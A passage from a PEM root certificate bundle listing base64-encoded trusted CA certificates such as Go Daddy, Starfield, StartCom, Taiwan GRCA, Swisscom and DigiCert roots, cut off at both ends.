HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc /Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz 8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw= -----END CERTIFICATE----- Go Daddy Class 2 CA =================== -----BEGIN CERTIFICATE----- MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv 2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32 qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b vZ8= -----END CERTIFICATE----- Starfield Class 2 CA ==================== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3 QBFGmh95DmK/D5fs4C8fF5Q= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHyTCCBbGgAwIBAgIBATANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM2WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICUjCCAk4wDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAa4wHQYDVR0OBBYE FE4L7xqkQFulF2mHMMo0aEPQQa7yMGQGA1UdHwRdMFswLKAqoCiGJmh0dHA6Ly9jZXJ0LnN0YXJ0 Y29tLm9yZy9zZnNjYS1jcmwuY3JsMCugKaAnhiVodHRwOi8vY3JsLnN0YXJ0Y29tLm9yZy9zZnNj YS1jcmwuY3JsMIIBXQYDVR0gBIIBVDCCAVAwggFMBgsrBgEEAYG1NwEBATCCATswLwYIKwYBBQUH AgEWI2h0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3kucGRmMDUGCCsGAQUFBwIBFilodHRw Oi8vY2VydC5zdGFydGNvbS5vcmcvaW50ZXJtZWRpYXRlLnBkZjCB0AYIKwYBBQUHAgIwgcMwJxYg U3RhcnQgQ29tbWVyY2lhbCAoU3RhcnRDb20pIEx0ZC4wAwIBARqBl0xpbWl0ZWQgTGlhYmlsaXR5 LCByZWFkIHRoZSBzZWN0aW9uICpMZWdhbCBMaW1pdGF0aW9ucyogb2YgdGhlIFN0YXJ0Q29tIENl cnRpZmljYXRpb24gQXV0aG9yaXR5IFBvbGljeSBhdmFpbGFibGUgYXQgaHR0cDovL2NlcnQuc3Rh cnRjb20ub3JnL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilT dGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQUFAAOC AgEAFmyZ9GYMNPXQhV59CuzaEE44HF7fpiUFS5Eyweg78T3dRAlbB0mKKctmArexmvclmAk8jhvh 3TaHK0u7aNM5Zj2gJsfyOZEdUauCe37Vzlrk4gNXcGmXCPleWKYK34wGmkUWFjgKXlf2Ysd6AgXm vB618p70qSmD+LIU424oh0TDkBreOKk8rENNZEXO3SipXPJzewT4F+irsfMuXGRuczE6Eri8sxHk fY+BUZo7jYn0TZNmezwD7dOaHZrzZVD1oNB1ny+v8OqCQ5j4aZyJecRDjkZy42Q2Eq/3JR44iZB3 fsNrarnDy0RLrHiQi+fHLB5LEUTINFInzQpdn4XBidUaePKVEFMy3YCEZnXZtWgo+2EuvoSoOMCZ EoalHmdkrQYuL6lwhceWD3yJZfWOQ1QOq92lgDmUYMA0yZZwLKMS9R9Ie70cfmu3nZD0Ijuu+Pwq yvqCUqDvr0tVk+vBtfAii6w0TiYiBKGHLHVKt+V9E9e4DGTANtLJL4YSjCMJwRuCO3NJo2pXh5Tl 1njFmUNj403gdy3hZZlyaQQaRwnmDwFWJPsfvw55qVguucQJAX6Vum0ABj6y6koQOdjQK/W/7HW/ lwLFCRsI3FU34oH7N4RDYiDK51ZLZer+bMEkkyShNOsF/5oirpt9P/FlUQqmMGqz9IgcgA38coro g14= -----END CERTIFICATE----- Taiwan GRCA =========== -----BEGIN CERTIFICATE----- MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5 BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O 1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7 Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8 lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2 09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2 Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk 7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy +fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS -----END CERTIFICATE----- Swisscom Root CA 1 ================== -----BEGIN CERTIFICATE----- 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 NY6E0F/6MBr1mmz0DlP5OlvRHA== -----END CERTIFICATE----- DigiCert Assured ID Root CA =========================== -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO 9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW /lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF 66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i 8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- DigiCert Global Root CA ======================= -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5 BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H 4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y 7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm 8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886 UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- DigiCert High Assurance EV Root CA ================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3 MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K -----END CERTIFICATE----- Certplus Class 2 Primary CA =========================== -----BEGIN CERTIFICATE----- MIIDkjCCAnqgAwIBAgIRAIW9S/PY2uNp9pTXX8OlRCMwDQYJKoZIhvcNAQEFBQAwPTELMAkGA1UE BhMCRlIxETAPBgNVBAoTCENlcnRwbHVzMRswGQYDVQQDExJDbGFzcyAyIFByaW1hcnkgQ0EwHhcN OTkwNzA3MTcwNTAwWhcNMTkwNzA2MjM1OTU5WjA9MQswCQYDVQQGEwJGUjERMA8GA1UEChMIQ2Vy dHBsdXMxGzAZBgNVBAMTEkNsYXNzIDIgUHJpbWFyeSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBANxQltAS+DXSCHh6tlJw/W/uz7kRy1134ezpfgSN1sxvc0NXYKwzCkTsA18cgCSR 5aiRVhKC9+Ar9NuuYS6JEI1rbLqzAr3VNsVINyPi8Fo3UjMXEuLRYE2+L0ER4/YXJQyLkcAbmXuZ Vg2v7tK8R1fjeUl7NIknJITesezpWE7+Tt9avkGtrAjFGA7v0lPubNCdEgETjdyAYveVqUSISnFO YFWe2yMZeVYHDD9jC1yw4r5+FfyUM1hBOHTE4Y+L3yasH7WLO7dDWWuwJKZtkIvEcupdM5i3y95e e++U8Rs+yskhwcWYAqqi9lt3m/V+llU0HGdpwPFC40es/CgcZlUCAwEAAaOBjDCBiTAPBgNVHRME CDAGAQH/AgEKMAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQU43Mt38sOKAze3bOkynm4jrvoMIkwEQYJ YIZIAYb4QgEBBAQDAgEGMDcGA1UdHwQwMC4wLKAqoCiGJmh0dHA6Ly93d3cuY2VydHBsdXMuY29t L0NSTC9jbGFzczIuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCnVM+IRBnL39R/AN9WM2K191EBkOvD 